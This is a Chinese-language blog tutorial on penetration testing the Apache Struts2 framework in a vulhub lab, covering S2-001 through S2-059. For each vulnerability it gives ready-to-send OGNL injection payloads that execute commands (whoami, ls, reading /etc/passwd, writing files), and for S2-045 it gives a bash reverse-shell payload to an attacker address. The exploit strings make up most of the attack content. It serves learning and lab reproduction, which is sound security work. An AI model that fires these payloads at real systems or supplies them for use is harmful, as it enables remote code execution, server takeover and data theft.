渗透测试--Struts2框架

news2025/1/10 2:37:32

前言

Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站。在我国strust2被广泛使用与各种战略性资产,Struts 2是Struts的下一代产品,但和一代相比架构有很大的区别,近年也是爆出了很多的高危漏洞,本文旨在帮助大家理解在渗透测试中strust2的测试手法以及基本原理

Struts2简介

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着非常大的变化,但是相对于WebWork,Struts 2的变化很小。
因为strust2基于MVC设计模式的Web应用框架,会对某些标签属性(比如 id)的属性值进行二次表达式解析,因此在某些场景下将可能导致远程代码执行。

环境搭建

Struts2至今已经迭代了很多版本,可在vulhub自行下载
https://github.com/vulhub/vulhub/tree/master/struts2

启动tomcat

服务器(Windows)IP:192.168.126.1
vulhub服务器(ubuntu)IP:192.168.126.128
攻击机(kali)IP:192.168.126.130
若未下载可在官网下载https://archive.apache.org/dist/tomcat/
启动Tomcat,访问本地8080端口
image.png
此处举例S2-001搭建,将war包放入webapps,重启一下Tomcat即可自动部署
image.png
进入Tomcat目录bin下,输入service.bat install
image.png
cmd输入services.msc,打开系统服务,可以找到apache Tomcat,不要启动,不然后续会报错,还要关掉进程。
用IDEA启动一个Tomcat服务器,网上都有教程大家自行寻找。image.png
虚拟机访问http://192.168.126.1:8088/Tomcat-web
image.png

S2-001

image.png
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
这里在密码框输入%{1+1},要进行URL编码为%25%7B1%2B1%7D,抓包。
image.png
1+1=2,合理。
现在直接命令执行,whoami

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

URL编码,发包
image.png

S2-005

本地搭建过于麻烦,学会搭建一个就行,这里我们用vulhub来继续复现。vulhub搭建相信大家肯定都会。
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上
image.png

执行任意文件写入:

?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
GET和POST方式都能把payload打过去
image.png
image.png
成功创建

命令执行:

用k8的工具:
image.png
wireshark抓取k8的payload如下:

('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))=&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))=&(g)(('\43mycmd\75\'whoami\'')(d))=&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))=&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))=&(j)(('\43myres\75new\40byte[51020]')(d))=&(k)(('\43mydat.readFully(\43myres)')(d))=&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))=&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))=&(n)(('\43myout.getWriter().println(\43mystr)')(d))

S2-007

image.png
age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞
当-validation.xml配置的验证规则。如果类型验证转换失败,则服务器将拼接用户提交的表单值字符串,然后执行OGNL表达式解析并返回。

验证

age输入'+(1+1)+'
image.png
变成了11

命令执行

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '
image.png
whoami执行成功

S2-008

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。还有就是 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,但这种情况再生产环境中几乎不可能存在。
image.png

命令执行

payload

/devmode.action?debug=command&expression=(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23foo%3dnew+java.lang.Boolean(%22false%22)+%2c%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream()))

image.png

S2-009

OGNL提供了广泛的表达式评估功能等功能,该漏洞允许恶意用户绕过ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估
image.png

命令执行

执行ls

/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

image.png

S2-012

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
image.png

命令执行

cat /etc/passwd

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

burpsuite中要进行URL编码
image.png
image.png

S2-013

s:url和s:a标记都提供includeparams属性。该属性的主要作用域是了解包含或不包含http://request参数的内容。INCLUDEParams的允许值为:none-在URL中不包含任何参数(默认),get-仅在URL中包含get参数,all-在URL中同时包含get和post参数。当INCLUDEParams被赋予了以上参数,struts会进行OGNL解析
image.png

检测

还是用${1+1}编码
link.action?a=%24%7B1%2B1%7D
image.png
1+1=2,还是很合理。

命令执行

cat /etc/passwd
payload:

/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('cat /etc/passwd').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B 50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

image.png

S2-015

如果请求与任何其他已定义的操作都不匹配,它将被*匹配,并且所请求的操作名称将用于基于操作名称加载JSP文件。并且{1}的值作为OGNL表达式受到威胁,因此允许在服务器端执行任意Java代码。
image.png

命令执行

whoami
payload:

%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat@/etc/passwd%27%29.getInputStream%28%29%29%2C%23q%7D.action

image.png

S2-016

在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令
image.png

检测

${1+2},URL编码为%24%7B1%2B2%7D
image.png
1+2=3,再次合理

命令执行

whoami

index.action?redirect:%24%7b%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%22cat+etc/passwd%22).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%500%5d%2c%23c.read(%23d)%2c%23genxor%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2c%23genxor.println(%23d)%2c%23genxor.flush()%2c%23genxor.close()%7d

这里删掉了3个字符,违规了(┭┮﹏┭┮),师傅们看图
image.png
image.png
下载文件,打开后里面是whoami的结果

S2-032

S2-032漏洞的影响范围是Struts 2.3.20 - Struts Struts 2.3.28,当开启了动态方法调用时可RCE。这次的漏洞分析以及后面的漏洞分析都是使用的Struts 2.3.24。
image.png

命令执行

whoami

index.action?method:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()%2c%23w%3d%23res.getWriter()%2c%23s%3dnew+java.util.Scanner(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd%5b0%5d).getInputStream())%2c%23str%3d%23s.hasNext()%3f%23s.next()%3a%23xx%2c%23w.print(%23str)%2c%23w.close()%2c1%3f%23xx%3a%23request.toString&cmd=whoami

image.png
成功

S2-045

利用Struts2的上传功能代码里的非正常处理函数代码,没有正确的去处理访问客户输入的错误内容。导致黑客可以通过输入那里发送恶意的POST数据包,利用这个漏洞在windows 2003 2008 2012服务器跟Linux centos系统服务器上执行系统权限命令
image.png

检测
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',1+2+3+4)}.multipart/form-data

抓POST包修改Content-Type的值为上面代码
image.png
1+2+3+4=10,非常合理

命令执行

反弹shell:

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/ip/port 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b

image.png
反弹成功

S2-046

S2-046和S2-045的爆发点是一样的,只是输入点有些不同,利用方式上不一样
他有触发的条件,依次为:
1.上传文件的大小(由Content-Length头指定)大于Struts2默认允许的最大大小(2M)
2.header中的Content-Disposition中包含空字节
3.文件名内容构造恶意的OGNL内容
4.输入点在文件上传的filename值位置,并需要使用\x00截断

检测
"%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',666666)}\x00b"

更改filename为上述代码,在hex里找到b之前一个符号,使用00截断,我们add了一个x-test=666666,若返回包里有则漏洞存在
image.png

命令执行

payload:

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"

image.png
我这里没有成功,不知道问题出在了哪里。

s2-048

漏洞成因是当ActionMessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行
image.png

检测

访问/viewSource.action?config=fassName=com.open.jsp
名称填入${1+1}
image.png
image.png
1+1=2

命令执行

whoami

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())).(#q)}

image.png

S2-053

Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞
image.png

检测

/hello?redirectUri=%25%7B666666-3%7D
image.png

命令执行

whoami:

/hello?redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27whoami%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0D%0A

image.png
成功执行

S2-057

S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令到服务器系统中去
image.png
空的

检测

/struts2-showcase/$%7B1+2+3+4+5+6%7D/actionChain1.action
image.png
1+2+3+4+5+6=21,很合理

命令执行

whoami

/struts2-showcase/%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27whoami%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action

image.png
成功执行

S2-059

Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行
image.png

检测

?id=%25{3*3}
image.png
源码中被插入了9

命令执行

payload:

%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('whoami'))}

image.png
很奇怪,400,懂的老哥可以给我讲讲为什么不成功

总结

这次Struts2的学习,学到了环境的搭建,各种Struts2漏洞的检测方法RCE操作等等。之前只是知道Struts2漏洞这个东西,没想到有这么多的种类,这么多的攻击手法。希望师傅们都可以掌握Struts2的知识,共勉。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1068251.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

10-Node.js模块化

01.模块化简介 目标 了解模块化概念和好处,以及 CommonJS 标准语法导出和导入 讲解 在 Node.js 中每个文件都被当做是一个独立的模块,模块内定义的变量和函数都是独立作用域的,因为 Node.js 在执行模块代码时,将使用如下所示的…

Android---深入理解ClassLoader的加载机制

目录 Java 中的 ClassLoader 1. APPClassLoader 系统类加载器 2. ExtClassLoader 扩展类加载器 3. BootstrapClassLoader 启动类加载器 双亲委派模式(Parents Delegation Model) Android 中的 ClassLoader 1. PathClassLoader 2. DexClassLoader 总结 一个完整的 Java…

好物周刊#11:远程桌面软件

https://cunyu1943.github.io https://yuque.com/cunyu1943 村雨遥的好物周刊,记录每周看到的有价值的信息,主要针对计算机领域,每周五发布。 一、项目 1. live 一个国内可直连的直播源分享项目,具有以下特点: 永…

IDEA 生成 javadoc

IDEA 生成 javadoc 在IDEA工具栏tools中,打开选项Generate JavaDoc(生成javaDoc 文件) 配置参数

【python海洋专题十三】读取多个nc文件画温度季节变化图

【python海洋专题十三】读取多个nc文件画温度季节变化图 上期内容 年平均的温度分布 本期内容 读取多个文件;拼接数据在画温度的季节分布图Part01. 使用数据 IAP 网格温度数据集 Part02. 读取nc的函数包对比 from netCDF4 import Dataset a Dataset(fileli…

华为OD机试 - 最远足迹(2022Q4 100分)

目录 专栏导读一、题目描述二、输入描述三、输出描述四、解题思路五、Java算法源码六、效果展示 华为OD机试 2023B卷题库疯狂收录中,刷题点这里 专栏导读 本专栏收录于《华为OD机试(JAVA)真题(A卷B卷)》。 刷的越多&…

设计模式14、命令模式 Command

解释说明:命令模式(Command Pattern)是一种数据驱动的设计模式,它属于行为型模式。请求以命令的形式包裹在对象中,并传递给调用对象。调用对象寻找可以处理该命令的合适对象,并把该命令传给相应的对象&…

Datagrip:高效数据库管理和开发

文章目录 摘要引言Datagrip的特点与优势多数据库支持强大的查询和编辑功能数据库导航和管理版本控制集成数据库安全性 Datagrip的使用方法安装和配置Datagrip查询和编辑数据数据库导航和管理版本控制和团队协作 总结参考文献 摘要 本文介绍了Datagrip作为一款强大的数据库管理…

什么是跨域资源共享(CORS)?如何在前端中处理CORS问题?

聚沙成塔每天进步一点点 ⭐ 专栏简介 前端入门之旅:探索Web开发的奇妙世界 欢迎来到前端入门之旅!感兴趣的可以订阅本专栏哦!这个专栏是为那些对Web开发感兴趣、刚刚踏入前端领域的朋友们量身打造的。无论你是完全的新手还是有一些基础的开发…

2000至2022年中国月度植被覆盖度产品

简介: 中国区域2000至2022年月度植被覆盖度产品的空间分辨率250米,合成方式采用月最大值合成。本产品采用基于归一化植被指数(NDVI)像元二分模型,根据土地利用类型确定纯植被像元值和纯裸土像元值,计算中去…

cvpr24写作模板pdfLaTex编译器注意点小结

文章目录 1 更改作者显示 Anonymous CVPR submission2 \label标签的作用3 换行符// 与换列符&4 \medskip5 首行缩进6 插入图片6.1 单幅图片6.2 并排显示 Reference https://cvpr.thecvf.com/Conferences/2024 1 更改作者显示 Anonymous CVPR submission 这一行开头加上% …

代码检查过程中为什么需要涉及到编译呢?

作者: gentle_zhou 原文链接:代码检查过程中为什么需要涉及到编译呢?-云社区-华为云 随着大家对软件安全越来越重视,在编码阶段针对源码安全的保障也被各行各业企业研发测试运维团队与个人开发者越来越频繁的被提及,其…

【开发篇】二十、SpringBoot整合RocketMQ

文章目录 1、整合2、消息的生产3、消费4、发送异步消息5、补充:安装RocketMQ 1、整合 首先导入起步依赖,RocketMQ的starter不是Spring维护的,这一点从starter的命名可以看出来(不是spring-boot-starter-xxx,而是xxx-s…

分类预测 | MATLAB实现KOA-CNN开普勒算法优化卷积神经网络数据分类预测

分类预测 | MATLAB实现KOA-CNN开普勒算法优化卷积神经网络数据分类预测 目录 分类预测 | MATLAB实现KOA-CNN开普勒算法优化卷积神经网络数据分类预测分类效果基本描述程序设计参考资料 分类效果 基本描述 1.MATLAB实现KOA-CNN开普勒算法优化卷积神经网络数据分类预测&#xff0…

安果计算器-您的全能计算伴侣

在日常生活、工作中,我们常常面临各种计算需求。安果计算器为您提供全面而精确的计算解决方案。 一、综 合数学功能:基础运算: 包括加、减、乘、除等基础算术功能。高级数学: 平方根、立方根、开方、随机复数、随机整数、绝对值、常用对数、自然对数、正弦、余弦、…

跨时区系统设计方案

一、背景 门店收银系统分布在澳洲、中国、新西兰,分跨不同时区,系统需要显示不同时区的时间,这是比较折腾的一件事,今天讲一下我们是怎么作的。 二、时区概念 时区 划分时区作用是为了统一时间,让各个区域12点都是…

基于BERT模型进行文本处理(Python)

基于BERT模型进行文本处理(Python) 所有程序都由Python使用Spyder运行。 对于BERT,在运行之前,它需要安装一些环境。 首先,打开Spyder。其次,在控制台中单独放置要安装的: pip install transformers pip install tor…

三维模型3DTile格式轻量化的纹理压缩和质量关系分析

三维模型3DTile格式轻量化的纹理压缩和质量关系分析 在三维模型的3DTile格式轻量化处理中,纹理压缩是一个重要环节。但是,纹理压缩和模型质量之间存在明显的关系需要权衡。以下是纹理压缩和模型质量关系的详细分析: 1、压缩率与纹理质量&…

Sklearn入门

Scikit learn 也简称 sklearn, 是机器学习领域当中最知名的 python 模块之一. Sklearn 包含了很多种机器学习的方式: Classification 分类Regression 回归Clustering 非监督分类Dimensionality reduction 数据降维Model Selection 模型选择Preprocessing 数据预处理 我们总能…

Java-包装类

这里写目录标题 包装类(Wrapper)包装类和基本数据的转换 String VS StringBuffer VS StringBuilderStringStringBufferStringBuilder 包装类(Wrapper) 针对八种基本数据类型相应的引用类型 基本数据类型包装类booleanBooleancha…